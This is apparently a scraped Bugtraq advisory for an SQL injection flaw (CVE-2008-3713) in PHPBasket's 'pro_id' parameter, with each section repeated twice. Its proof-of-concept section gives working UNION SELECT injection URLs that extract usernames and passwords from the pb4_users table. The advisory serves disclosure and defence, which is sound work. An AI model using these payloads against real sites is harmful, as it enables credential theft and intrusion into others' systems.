PHPBasket 'pro_id' Parameter SQL Injection Vulnerability
BID:30726
Info
PHPBasket 'pro_id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 30726 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3713 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 17 2008 12:00AM |
| Updated: | May 07 2015 05:24PM |
| Credit: | r45c4l and sinner_01 |
| Vulnerable: |
PHPBasket PHPBasket 0 |
| Not Vulnerable: | |
Discussion
PHPBasket 'pro_id' Parameter SQL Injection Vulnerability
PHPBasket is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHPBasket is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
PHPBasket 'pro_id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pb4_users--
http://www.example.com/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+pb4_users--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pb4_users--
http://www.example.com/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+pb4_users--
Solution / Fix
PHPBasket 'pro_id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].